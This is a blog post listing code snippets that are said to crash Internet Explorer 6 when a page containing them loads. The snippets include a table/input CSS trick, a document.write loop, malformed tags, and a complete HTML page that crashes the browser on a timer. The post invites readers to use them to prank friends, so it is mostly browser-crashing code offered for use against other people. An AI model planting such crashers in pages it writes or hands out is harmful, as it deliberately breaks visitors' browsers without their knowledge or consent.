How to crash IE6 with some “kill” snippets
The War against IE 6 has a very log story behind it, but from my point of view is just boring and very unproductive to sit around and talk about it all day. In the same time I agree with the fact that you should develop your web-applications without worrying about compatibility inside a specific browser, so I personally just IGNORE this one and try to convince the user to switch to a more appropriate browser. You can find more about this issue all over the net and also here, here, here and here.
Now Google joins the armada announcing that they will drop support for IE 6, so I remembered some code snippets that will actually crash your browser
if the page is opened in IE 6. In no particular order here are the crashers:
<style>*{position:relative}</style><table><input></table>
<script>for(x in document.write){document.write(x);}</script>
<html> <form> <input type crash> </form> </html>
function getX( oElement ) {
var iReturnValue = 0;
while( oElement != null ) {
iReturnValue += oElement.offsetLeft;
oElement = oElement.offsetParent;
}
return iReturnValue;
}
<STYLE>@;/*
<body onLoad=”window()”>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
<head>
<title>CRASH-IE</title>
<style type="text/css">
html, body {
overflow: hidden; scrollbar-base-color: #330066;
}
.crash {
position:absolute; left:200px; top:200px; width:200px;
}
</style>
<script type="text/javascript">
function galgenfrist() {
window.setTimeout('crashIE();',1000);
}
function crashIE() {
var moveNode = document.getElementById("move");
if(moveNode) {
moveNode.style.top = "100px";
moveNode.style.left = "200px";
}
}
</script>
</head>
<body onload="galgenfrist();">
<h1>CRASH-IE</h1>
<div id="move">
<table>
<tbody><tr><td><textarea></textarea></td></tr></tbody>
</table>
</div>
</body>
</html>
Have fun pranking your friends with this one.
You can leave a response, or trackback from your own site.
Leave a Reply




